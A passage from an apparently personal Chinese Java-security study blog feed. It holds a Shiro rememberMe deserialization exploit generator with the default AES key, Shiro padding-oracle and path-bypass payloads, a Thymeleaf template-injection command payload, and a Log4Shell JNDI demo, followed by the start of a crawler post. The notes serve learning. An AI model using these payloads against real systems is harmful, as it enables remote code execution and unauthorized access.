class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line"></span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">impl</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        <span class="type">byte</span>[] calccc = Files.readAllBytes(Paths.get(<span class="string">&quot;D:\\myjavaprogram\\CC1\\src\\main\\java\\evil.class&quot;</span>));</span><br><span class="line"></span><br><span class="line">        setFieldValue(impl, <span class="string">&quot;_name&quot;</span>, <span class="string">&quot;sakuya&quot;</span>);</span><br><span class="line">        setFieldValue(impl, <span class="string">&quot;_bytecodes&quot;</span>, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;calccc&#125;);</span><br><span class="line">        setFieldValue(impl, <span class="string">&quot;_class&quot;</span>, <span class="literal">null</span>);</span><br><span class="line">        setFieldValue(impl, <span class="string">&quot;_tfactory&quot;</span>, <span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line"></span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">transformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;toString&quot;</span>, <span class="literal">null</span>, <span class="literal">null</span>);</span><br><span class="line"></span><br><span class="line">        <span class="type">Map</span> <span class="variable">innerMap</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line">        <span class="type">Map</span> <span class="variable">outerMap</span> <span class="operator">=</span> LazyMap.decorate(innerMap, transformer);</span><br><span class="line"></span><br><span class="line">        <span class="type">Map</span> <span class="variable">map</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line">        <span class="type">TiedMapEntry</span> <span class="variable">e</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TiedMapEntry</span>(outerMap, impl);</span><br><span class="line">        map.put(e, <span class="string">&quot;sakuya&quot;</span>);</span><br><span class="line">        outerMap.clear();</span><br><span class="line"></span><br><span class="line">        setFieldValue(transformer, <span class="string">&quot;iMethodName&quot;</span>, <span class="string">&quot;newTransformer&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">barr</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(barr);</span><br><span class="line">        oos.writeObject(map);</span><br><span class="line">        oos.close();</span><br><span class="line">        <span class="type">AesCipherService</span> <span class="variable">aes</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AesCipherService</span>();</span><br><span class="line">        <span class="type">byte</span>[] key = java.util.Base64.getDecoder().decode(<span class="string">&quot;kPH+bIxk5D2deZiIxcaaaA==&quot;</span>);</span><br><span class="line">        <span class="type">ByteSource</span> <span class="variable">ciphertext</span> <span class="operator">=</span> aes.encrypt(barr.toByteArray(), key);</span><br><span class="line">        System.out.printf(ciphertext.toString());</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">setFieldValue</span><span class="params">(Object obj,String fieldName,Object value)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> obj.getClass().getDeclaredField(fieldName);</span><br><span class="line">        field.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        field.set(obj,value);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="注意"><a href="#注意" class="headerlink" title="注意"></a>注意</h4><p><strong>shiro version &lt; 1.4.2</strong> 对于cookie加密算法为<strong>AES-CBC</strong></p><p><strong>shiro version &gt;&#x3D; 1.4.2</strong> 对于cookie加密算法为<strong>AES-GCM</strong></p><hr><h3 id="shiro721-1-x-version"><a href="#shiro721-1-x-version" class="headerlink" title="shiro721  1.x &lt; version &lt;&#x3D; 1.4.1"></a>shiro721  1.x &lt; version &lt;&#x3D; 1.4.1</h3><p>shiro721简单来说就是在检验密文的时候 由于没有处理好完整性 导致漏洞</p><p>shiro721触发不需要key 他是通过aes-cbc模式中码学特性 在解密出的明文会进行填充检查 如果不对会报错 <strong>并且当前块明文还是取决于前一块密文</strong></p><p>当前块明文 &#x3D; 当前块中间值 xor 前一块密文</p><p>对于填充检查 如果当前明文的最后一个字节为0x01 前面一个字节就不该为0x01</p><p>如果最后一个字节为0x02 前面一个字节就该为0x02 依此类推</p><p>我们可以通过修改密文的最后一个字节 判断出什么时候明文最后一个字节会是0x01</p><p>又因为中间值不会发生改变 于是根据异或特性</p><p>当前块中间值 &#x3D; 修改过的当前块明文 xor 修改过的前一块密文</p><p>可以得到中间值</p><p>明文 &#x3D; 中间值 xor 前一块密文</p><p>得到了中间值就可以构造最后的明文 从而达到绕过key构造任意明文的效果</p><hr><p>但是要得到一个cookie的中间值  需要大量爆破 动静很大 实战中容易被告警</p><p>详细内容可以直接看这篇师傅的表述 (上述描述相当简单。)</p><p><a href="https://nivi4.notion.site/Shiro-721-CVE-2019-12422-ba1a179d50f84ec2a459c5bcae872cef">Shiro 721&#x2F;CVE-2019-12422</a></p><hr><h3 id="路由权限绕过"><a href="#路由权限绕过" class="headerlink" title="路由权限绕过"></a>路由权限绕过</h3><p>PathMatchingFilterChainResolver核心类</p><p>shiro作为一个java安全框架 除了提供身份认证 还提供了路由检测</p><p><strong>Shiro只做权限检测 不会进行路由转发 他只会判断当前路由应不应该鉴权</strong></p><p>所有绕过都是在shiro路由鉴权的时候 匹配到不需要鉴权的路由</p><p>使得绕过权限检测 使得这次访问不需要鉴权 访问原始路径交给后面的tomcat或者是spring去路由转发</p><h4 id="CVE-2010-3863-shiro-1-1-0"><a href="#CVE-2010-3863-shiro-1-1-0" class="headerlink" title="CVE-2010-3863 shiro &lt; 1.1.0"></a>CVE-2010-3863 shiro &lt; 1.1.0</h4><p>没有requesturl做标准化处理 导致将最原始的访问路由与shiro.ini中写好的路由进行比对</p><p>&#x2F;.&#x2F;admin</p><h4 id="CVE-2016-6802-shiro-1-3-2"><a href="#CVE-2016-6802-shiro-1-3-2" class="headerlink" title="CVE-2016-6802 shiro &lt; 1.3.2"></a>CVE-2016-6802 shiro &lt; 1.3.2</h4><p>ContextPath没有做标准化处理 导致shiro在匹配路由的时候没有匹配到 导致最后放行 最后由tomcat去处理</p><h4 id="CVE-2020-1957-shiro-1-5-2"><a href="#CVE-2020-1957-shiro-1-5-2" class="headerlink" title="CVE-2020-1957  shiro &lt; 1.5.2"></a>CVE-2020-1957  shiro &lt; 1.5.2</h4><p>shiro 与spring 和 tomcat对于<code>;</code>的处理不一样</p><p>&#x2F;..;1&#x3D;1&#x2F;admin</p><h4 id="CVE-2020-11989-shiro-1-5-3"><a href="#CVE-2020-11989-shiro-1-5-3" class="headerlink" title="CVE-2020-11989 shiro &lt; 1.5.3"></a>CVE-2020-11989 shiro &lt; 1.5.3</h4><table><thead><tr><th><a href="https://su18.org/post/shiro-1/#cve-2010-3863">CVE-2010-3863</a></th><th>由于未标准化路径导致的绕过</th></tr></thead><tbody><tr><td><a href="https://su18.org/post/shiro-1/#cve-2014-0074">CVE-2014-0074</a></td><td>使用 ldap 服务器认证时两个场景的绕过</td></tr><tr><td><a href="https://su18.org/post/shiro-2/#cve-2016-4437">CVE-2016-4437</a></td><td>RememberMe 反序列化漏洞</td></tr><tr><td><a href="https://su18.org/post/shiro-2/#cve-2016-6802">CVE-2016-6802</a></td><td>Context Path 路径标准化导致绕过</td></tr><tr><td><a href="https://su18.org/post/shiro-2/#cve-2019-12422">CVE-2019-12422</a></td><td>Padding Oracle Attack &amp; CBC Byte-Flipping Attack</td></tr><tr><td><a href="https://su18.org/post/shiro-3/#cve-2020-1957">CVE-2020-1957</a></td><td>Spring 与 Shiro 对于 “&#x2F;“ 和 “;” 处理差异导致绕过</td></tr><tr><td><a href="https://su18.org/post/shiro-3/#cve-2020-11989">CVE-2020-11989</a></td><td>Shiro 二次解码导致的绕过以及 ContextPath 使用 “;” 的绕过</td></tr><tr><td><a href="https://su18.org/post/shiro-3/#cve-2020-13933">CVE-2020-13933</a> 1.6.0</td><td>由于 Shiro 与 Spring 处理路径时 URL 解码和路径标准化顺序不一致  导致的使用 “%3b” 的绕过</td></tr><tr><td><a href="https://su18.org/post/shiro-4/#cve-2020-17510">CVE-2020-17510</a> 1.7.0</td><td>由于 Shiro 与 Spring 处理路径时 URL 解码和路径标准化顺序不一致  导致的使用 “%2e” 的绕过</td></tr><tr><td><a href="https://su18.org/post/shiro-4/#cve-2020-17523">CVE-2020-17523</a> 1.7.1</td><td>Shiro 匹配鉴权路径时会对分隔的 token 进行 trim 操作  导致的使用 “%20” 的绕过</td></tr><tr><td><a href="https://su18.org/post/shiro-4/#cve-2021-41303">CVE-2021-41303</a> 1.8.0</td><td>由于 Shiro 的 BUG 导致特定场景的绕过（不确定）</td></tr></tbody></table><h2 id="表达式到模板注入"><a href="#表达式到模板注入" class="headerlink" title="表达式到模板注入"></a>表达式到模板注入</h2><p><strong>什么是模板引擎</strong>（这里特指用于Web开发的模板引擎）是为了使用户界面与业务数据（内容）分离而产生的，它可以生成特定格式的文档，用于网站的模板引擎就会生成一个标准的html文档。从字面上理解<code>模板引擎</code>，最重要的就是模板二字，这个意思就是做好一个模板后套入对应位置的数据，最终以html的格式展示出来，这就是模板引擎的作用。</p><h3 id="thymeleaf"><a href="#thymeleaf" class="headerlink" title="thymeleaf"></a>thymeleaf</h3><p>模板引擎</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$&#123;&#125; <span class="comment">//变量表达式 </span></span><br><span class="line">*&#123;&#125; <span class="comment">//选择变量表达式</span></span><br><span class="line">#&#123;&#125; <span class="comment">//消息表达式</span></span><br><span class="line">@&#123;&#125; <span class="comment">//链接表达式</span></span><br><span class="line">~&#123;模板名::片段名&#125; <span class="comment">//片段引用表达式</span></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//选择表达式</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/path&quot;)</span></span><br><span class="line"><span class="keyword">public</span> String <span class="title function_">path</span><span class="params">(<span class="meta">@RequestParam</span> String lang)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;user/&quot;</span> + lang + <span class="string">&quot;/welcome&quot;</span>; <span class="comment">//template path is tainted</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//片段选择器</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/fragment&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">fragment</span><span class="params">(<span class="meta">@RequestParam</span> String section)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;welcome :: &quot;</span> + section; <span class="comment">//fragment is tainted</span></span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//拼接路径</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/doc/&#123;document&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">getDocument</span><span class="params">(<span class="meta">@PathVariable</span> String document)</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;Retrieving &quot;</span> + document);</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">__$&#123;<span class="keyword">new</span> <span class="title class_">java</span>.util.Scanner(T(java.lang.Runtime).getRuntime().exec(<span class="string">&quot;calc&quot;</span>).getInputStream()).next()&#125;__</span><br></pre></td></tr></table></figure><h3 id="解决"><a href="#解决" class="headerlink" title="解决"></a>解决</h3><h3 id="设置注解-ResponseBody"><a href="#设置注解-ResponseBody" class="headerlink" title="设置注解 @ResponseBody"></a>设置注解 @ResponseBody</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/safe/fragment&quot;)</span></span><br><span class="line">    <span class="meta">@ResponseBody</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">safeFragment</span><span class="params">(<span class="meta">@RequestParam</span> String section)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;welcome :: &quot;</span> + section;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>使用 @ResponseBody 注解告诉 Spring 将返回值<strong>作为响应体处理</strong>，<strong>而不是视图名称</strong>，因此无法进行模 板注入攻击。</p><h3 id="设置重定向-redirect"><a href="#设置重定向-redirect" class="headerlink" title="设置重定向 redirect"></a>设置重定向 redirect</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/safe/redirect&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">redirect</span><span class="params">(<span class="meta">@RequestParam</span> String url)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;redirect:&quot;</span> + url; <span class="comment">//FP as redirects are not resolved as expressions</span></span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>当视图名称以 redirect: 前缀开头时，Spring不再使用 Spring ThymeleafView 解析，而是使用 RedirectView 解析，该视图不会执行表达式。但存在 URL 跳转漏洞。</p><h3 id="设置-response-响应"><a href="#设置-response-响应" class="headerlink" title="设置 response 响应"></a>设置 response 响应</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/safe/doc/&#123;document&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">getDocument</span><span class="params">(<span class="meta">@PathVariable</span> String document, HttpServletResponse response)</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;Retrieving &quot;</span> + document); <span class="comment">//FP</span></span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>由于控制器在参数中具有 HttpServletResponse，<strong>Spring 认为已经处理了HTTP响应，因此视图名称解 析就不会发生</strong>。这个检查存在于 ServletResponseMethodArgumentResolver 类中。</p><p>但是这些解决方法实际只是不去渲染模板了 业务上来看是没有解决问题的 总的还是要杜绝渲染的参数可控 要有限制器</p><h3 id="影响版本"><a href="#影响版本" class="headerlink" title="影响版本"></a>影响版本</h3><p><img src="E:\blog_back\source_posts\若依v4-6\image-20260506094601955.png" alt="image-20260506094601955"></p><h2 id="log4j2"><a href="#log4j2" class="headerlink" title="log4j2"></a>log4j2</h2><p>来到大名鼎鼎的log4j2了</p><p>log4j2是apache提供的一个日志管理服务 记录日志信息 </p><p>详细的介绍与使用可以看这篇文章</p><p><a href="https://www.cnblogs.com/antLaddie/p/15904895.html">一文带你彻底掌握Log4j2 </a></p><p>这个配置文件是网上随便找的一个</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">configuration</span> <span class="attr">status</span>=<span class="string">&quot;info&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">Properties</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">Property</span> <span class="attr">name</span>=<span class="string">&quot;pattern1&quot;</span>&gt;</span>[%-5p] %d %c - %m%n<span class="tag">&lt;/<span class="name">Property</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">Property</span> <span class="attr">name</span>=<span class="string">&quot;pattern2&quot;</span>&gt;</span></span><br><span class="line">            =========================================%n 日志级别：%p%n 日志时间：%d%n 所属类名：%c%n 所属线程：%t%n 日志信息：%m%n</span><br><span class="line">        <span class="tag">&lt;/<span class="name">Property</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">Property</span> <span class="attr">name</span>=<span class="string">&quot;filePath&quot;</span>&gt;</span>logs/myLog.log<span class="tag">&lt;/<span class="name">Property</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">Properties</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">appenders</span>&gt;</span> <span class="tag">&lt;<span class="name">Console</span> <span class="attr">name</span>=<span class="string">&quot;Console&quot;</span> <span class="attr">target</span>=<span class="string">&quot;SYSTEM_OUT&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">PatternLayout</span> <span class="attr">pattern</span>=<span class="string">&quot;$&#123;pattern1&#125;&quot;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">Console</span>&gt;</span> <span class="tag">&lt;<span class="name">RollingFile</span> <span class="attr">name</span>=<span class="string">&quot;RollingFile&quot;</span> <span class="attr">fileName</span>=<span class="string">&quot;$&#123;filePath&#125;&quot;</span></span></span><br><span class="line"><span class="tag">                            <span class="attr">filePattern</span>=<span class="string">&quot;logs/$$&#123;date:yyyy-MM&#125;/app-%d&#123;MM-dd-yyyy&#125;-%i.log.gz&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">PatternLayout</span> <span class="attr">pattern</span>=<span class="string">&quot;$&#123;pattern2&#125;&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">SizeBasedTriggeringPolicy</span> <span class="attr">size</span>=<span class="string">&quot;5 MB&quot;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">RollingFile</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">appenders</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">loggers</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">root</span> <span class="attr">level</span>=<span class="string">&quot;info&quot;</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">appender-ref</span> <span class="attr">ref</span>=<span class="string">&quot;Console&quot;</span>/&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">appender-ref</span> <span class="attr">ref</span>=<span class="string">&quot;RollingFile&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">root</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">loggers</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br></pre></td></tr></table></figure><p>配置信息不用管 不是重点</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.apache.logging.log4j.LogManager;</span><br><span class="line"><span class="keyword">import</span> org.apache.logging.log4j.Logger;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.function.LongFunction;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Log4j2Test</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">    <span class="comment">//获取logger</span></span><br><span class="line">    <span class="type">Logger</span> <span class="variable">logger</span> <span class="operator">=</span> LogManager.getLogger(LongFunction.class);</span><br><span class="line">    <span class="comment">//现在就可以记录日志了</span></span><br><span class="line">    logger.info(<span class="string">&quot;info level111&quot;</span>);</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>基本使用就是先获取logger然后就可以记录日志了</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260512203530803.png" alt="image-20260512203530803"></p><p>打印的内容和配置信息有关</p><p>CVE 2021-44228就是log4j2的rce 漏洞利用相对简单</p><p>查看官方文档</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260512203812040.png" alt="image-20260512203812040"></p><p>log4j2提供一个查找功能 不难想到rmi jndi的lookup方法 文档里面也确实有这个接口</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260512203937468.png" alt="image-20260512203937468"></p><p>提供一个可以使用jndi的api</p><p>${jndi:地址}</p><p>我们先使用一下这个lookupsApi具体怎么用的</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.apache.logging.log4j.LogManager;</span><br><span class="line"><span class="keyword">import</span> org.apache.logging.log4j.Logger;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.function.LongFunction;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Log4j2Test</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">    <span class="type">Logger</span> <span class="variable">logger</span> <span class="operator">=</span> LogManager.getLogger(LongFunction.class);</span><br><span class="line">    <span class="type">String</span> <span class="variable">username</span> <span class="operator">=</span> <span class="string">&quot;sakuya&quot;</span>;</span><br><span class="line">    logger.info(<span class="string">&quot;info &#123;&#125;&quot;</span>,username);</span><br><span class="line">    logger.error(<span class="string">&quot;$&#123;java:os&#125;&quot;</span>);</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260512204408192.png" alt="image-20260512204408192"></p><p>将内容直接放入logger.info()里面 或者其他等级日志即可生效</p><p>log4j2还提供在字符串中可以使用{}用来占位 后续填写变量</p><p>我们使用一下jndi的api</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.apache.logging.log4j.LogManager;</span><br><span class="line"><span class="keyword">import</span> org.apache.logging.log4j.Logger;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.function.LongFunction;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Log4j2Test</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">    <span class="type">Logger</span> <span class="variable">logger</span> <span class="operator">=</span> LogManager.getLogger(LongFunction.class);</span><br><span class="line">    <span class="type">String</span> <span class="variable">username</span> <span class="operator">=</span> <span class="string">&quot;$&#123;jndi:ldap://127.0.0.1/Calc&#125;&quot;</span>;</span><br><span class="line">    logger.info(<span class="string">&quot;info &#123;&#125;&quot;</span>,username);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>启动fakeldap</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260512204842977.png" alt="image-20260512204842977"></p><p>成功弹出计算器</p><p>如果日志里面的变量可控 我们就可以写一个jndi 直接远程加载class文件实现rce </p><p>只需要变量可控即可 利用相对简单</p><hr><p>现在来调试一下</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;个人学习随笔 笔记比较零碎&lt;/p&gt;
&lt;h1 id=&quot;java基础知识&quot;&gt;&lt;a href=&quot;#java基础知识&quot; class=&quot;headerlink&quot; title=&quot;java基础知识&quot;&gt;&lt;/a&gt;java基础知识&lt;/h1&gt;&lt;h2 id=&quot;java的运行机制&quot;&gt;&lt;a href=&quot;</summary>
      
    
    
    
    <category term="Java安全" scheme="http://example.com/categories/Java%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="知识" scheme="http://example.com/tags/%E7%9F%A5%E8%AF%86/"/>
    
    <category term="java" scheme="http://example.com/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>爬取p站图片的简易爬虫工具</title>
    <link href="http://example.com/2026/03/08/%E7%88%AC%E5%8F%96p%E7%AB%99%E6%AF%8F%E6%97%A5%E6%A6%9C%E5%8D%95%E5%9B%BE%E7%89%87%E7%9A%84%E7%AE%80%E6%98%93%E7%88%AC%E8%99%AB%E5%B7%A5%E5%85%B7/"/>
    <id>http://example.com/2026/03/08/%E7%88%AC%E5%8F%96p%E7%AB%99%E6%AF%8F%E6%97%A5%E6%A6%9C%E5%8D%95%E5%9B%BE%E7%89%87%E7%9A%84%E7%AE%80%E6%98%93%E7%88%AC%E8%99%AB%E5%B7%A5%E5%85%B7/</id>
    <published>2026-03-08T07:44:14.000Z</published>
    <updated>2026-03-08T08:21:03.372Z</updated>
    
    <content type="html"><![CDATA[<h2 id="简易爬虫"><a href="#简易爬虫" class="headerlink" title="简易爬虫"></a>简易爬虫</h2><p>寒假闲着也是闲着 为了提高一下自己薄弱的代码能力 于是写了这个简易工具</p><p><a href="https://github.com/sakuya-sys/pixiv_crawler_charts">项目地址</a></p><p><img src="/2026/03/08/%E7%88%AC%E5%8F%96p%E7%AB%99%E6%AF%8F%E6%97%A5%E6%A6%9C%E5%8D%95%E5%9B%BE%E7%89%87%E7%9A%84%E7%AE%80%E6%98%93%E7%88%AC%E8%99%AB%E5%B7%A5%E5%85%B7/image-20260208145653918.png" alt="image-20260208145653918"></p><p>也没有使用什么爬虫框架</p><p>就自己根据p站网页结构写了一个简单的工具 </p><p>由于p站有接口 所以就比较好实现这个爬虫的功能</p><p>详细使用在github上</p><hr><h2 id="重构代码"><a href="#重构代码" class="headerlink" title="重构代码"></a>重构代码</h2><p>之前写的代码有很多不足之处 所以重构了一下 这次使用了asyncio的异步库 不再使用concurrent库实现多线程并发</p><p>使用python中的asyncio异步库使得所有函数都得写成协程函数的类型 比较麻烦</p><h3 id="主要逻辑"><a href="#主要逻辑" class="headerlink" title="主要逻辑"></a>主要逻辑</h3><p>由于p站是前后端分离的 所以我们只需找到p站的api即可获取想要的数据</p><p>我的<strong>爬虫逻辑</strong>为:</p><p>通过指定模式首先找到作品id -&gt; 然后通过作品id获取到具体的详细信息 并创建一个作品类 -&gt; 搜集好需要下载的作品并开始下载并保存到本地(p站的作品可能是单图 作品集 动图 该爬虫不下载动图 只会判断是否为单图 如果是单图就正常下载 如果是作品集则使用作品集下载函数下载)</p><h3 id="代码结构"><a href="#代码结构" class="headerlink" title="代码结构:"></a>代码结构:</h3><p><img src="/2026/03/08/%E7%88%AC%E5%8F%96p%E7%AB%99%E6%AF%8F%E6%97%A5%E6%A6%9C%E5%8D%95%E5%9B%BE%E7%89%87%E7%9A%84%E7%AE%80%E6%98%93%E7%88%AC%E8%99%AB%E5%B7%A5%E5%85%B7/image-20260308154714722.png" alt="image-20260308154714722"></p><p>asyncio_pixiv_download文件中包括了所有的模块</p><p>配置信息包含在config.yaml中</p><p>在download模块里面写了所有下载器的类和作品类</p><p><img 